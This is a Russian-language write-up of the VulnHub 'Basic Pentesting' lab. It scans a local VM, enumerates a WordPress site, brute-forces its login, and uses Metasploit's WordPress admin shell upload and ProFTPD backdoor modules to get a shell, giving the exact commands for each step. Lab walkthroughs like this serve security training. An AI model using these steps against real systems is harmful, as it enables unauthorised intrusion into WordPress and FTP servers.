Всем доброго времени суток.
Многие из Вас знают о Пентесте, кто-то имел даже с ним дело, а кто-то только слышал и хотел бы почувствовать себя мини специалистом в этой области. Давным давно, а может и не давно, на VulnHub появилась лаборатория, посвященная как раз этому.
АКТ I — Настройка
Для работы я использовал Kali Linux и VirtualBox, ну и саму лабораторию of course.
Теперь нам нужно соединить 2 машины. Сделать это просто: открываем cmd и переходим в директорию, где установлен VirtualBox и прописываем настройки для VboxManage
cd C:Program FilesOracleVirtualBox
C:Program FilesOracleVirtualBox>VBoxManage.exe dhcpserver add --netname internet --ip 10.0.1.1 --netmask 255.255.255.0 --lowerip 10.0.1.2 --upperip 10.0.1.200 --enable>
Теперь в настройках Kali и Pentest мы ставим название той сети, которую написали в cmd
АКТ II — In the beginning
Проверяем, видит ли Kali Linux нашу лабораторию.
Видим подключение на eth0. Теперь нам нужно узнать конкретный IP нашей машины. Для этого воспользуемся небезызвестной программой Nmap
IP нашей лаборатории 10.0.1.2
АКТ III — Basic Pentesting
После как Nmap просканировал нашу виртуальную сеть, мы увидели, что на лаборатории открыто 3 порта:
- 21 — ftp
- 22 — ssh
- 80 — http
Пробуем подключиться по 80 порту. Для этого откроем браузер (в моем случае это FireFox)
Отлично! Сайт работает. Давайте проверим, какие директории он от нас скрывает. Для этого воспользуемся замечательной программой nikto и посмотрим на результат.
OSVDB-3092: /secret/: This might be interesting
Директория secret должна быть интересной. Давайте же узнаем, что она скрывает
Выглядит, конечно, на 3 из 10, но это всё можно исправить, во имя красоты и удобства, естественно.
Самые внимательные, наверное, уже догадались, да и nikto с Nmap нам ни раз намекали.
- Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>
- Nmap scan report for vtcsec (10.0.1.2)
Допишем в hosts название, через terminal:
# echo "10.0.1.2 vtcsec" >> /etc/hosts
Теперь-то мы готовы увидеть всю красоту сайта
Теперь, как ищейки, смотрим все директории сайта, тыкаем на все, что тыкается и в конце узнаем, что сайт написан на WordPress. Да — да nikto нам и до этого говорил это, но легких путей мы не ищем.
Давайте же воспользуемся сканером уязвимостей WordPress — WPScan
# wpscan --url http://10.0.1.2/secret/
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri — https://sucuri.net
@WPScan, @ethicalhack3r, @erwan_lr, pvdl, @FireFart
[+] URL: http://10.0.1.2/secret/
[+] Started: Thu Mar 8 17:47:02 2018
[!] The WordPress 'http://10.0.1.2/secret/readme.html' file exists exposing a version number
[+] Interesting header: LINK: http://vtcsec/secret/index.php/wp-json/; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://10.0.1.2/secret/xmlrpc.php
[!] Upload directory has directory listing enabled: http://10.0.1.2/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://10.0.1.2/secret/wp-includes/
[+] WordPress version 4.9 (Released on 2017-11-15) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
[!] 6 vulnerabilities identified from the version number
[!] Title: WordPress 2.8.6-4.9 — Authenticated JavaScript File Upload
Reference: https://wpvulndb.com/vulnerabilities/8966
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.9.1
[!] Title: WordPress 1.5.0-4.9 — RSS and Atom Feed Escaping
Reference: https://wpvulndb.com/vulnerabilities/8967
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.9.1
[!] Title: WordPress 4.3.0-4.9 — HTML Language Attribute Escaping
Reference: https://wpvulndb.com/vulnerabilities/8968
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.9.1
[!] Title: WordPress 3.7-4.9 — 'newbloguser' Key Weak Hashing
Reference: https://wpvulndb.com/vulnerabilities/8969
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.9.1
[!] Title: WordPress 3.7-4.9.1 — MediaElement Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/9006
Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/ticket/42720
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
[i] Fixed in: 4.9.2
[!] Title: WordPress <= 4.9.4 — Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[+] WordPress theme in use: twentyseventeen — v1.4
[+] Name: twentyseventeen — v1.4
| Latest version: 1.4 (up to date)
| Last updated: 2017-11-16T00:00:00.000Z
| Location: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/
| Readme: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/README.txt
| Style URL: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/style.css
| Referenced style.css: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a…
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection…
[+] No plugins found
[+] Finished: Thu Mar 8 17:47:06 2018
[+] Requests Done: 89
[+] Memory used: 37.828 MB
[+] Elapsed time: 00:00:03
Хммм, а давайте попробуем перечислить все имена пользователей с помощью флага --enumerate u.
# wpscan --url http://10.0.1.2/secret/ --enumerate u
Есть только один user. Значит, можно попробовать побрутить пароль.
# wpscan --url http://10.0.1.2/secret/ --wordlist /usr/share/wordlists/dirb/big.txt --threads 2
К сожалению, наш брут не увенчался успехом, но мы увидели кое-что интересное — ошибка логина admin и пароля admin.
Надо будет попробовать провести exploit через Metasploit
АКТ IV — Admin is coming
Для начала нужно провести настройку Metasploit.
#/etc/init.d/postgresql start
# msfdb init
Стартуем!
# msfconsole
Нужно найти наш exploit. Воспользуемся командой search
# search admin
Из списка нам подходит wp_admin_shell_upload
Запускаем его и проводим настройку
# msf>use exploit/unix/webapp/wp_admin_shell_upload
# msf>set username admin
# msf>set password admin
# msf>set rhost 10.0.1.2
# msf>set targeturi /secret
Должно получиться так:
Запуск!
Переходим в браузер и заходим под admin/admin
АКТ V — I see backdoor
Теперь попробуем получить доступ до terminal'а. Для этого опять нам понадобится Metasploit.
# msf>use exploit/unix/ftp/proftpd_133c_backdoor
Проводим настройку
# msf>set rhost 10.0.1.2
Запуск! (вместо run можно использовать exploit)
Тадааам, мы получили доступ до консоли.
Автор: OlegKocha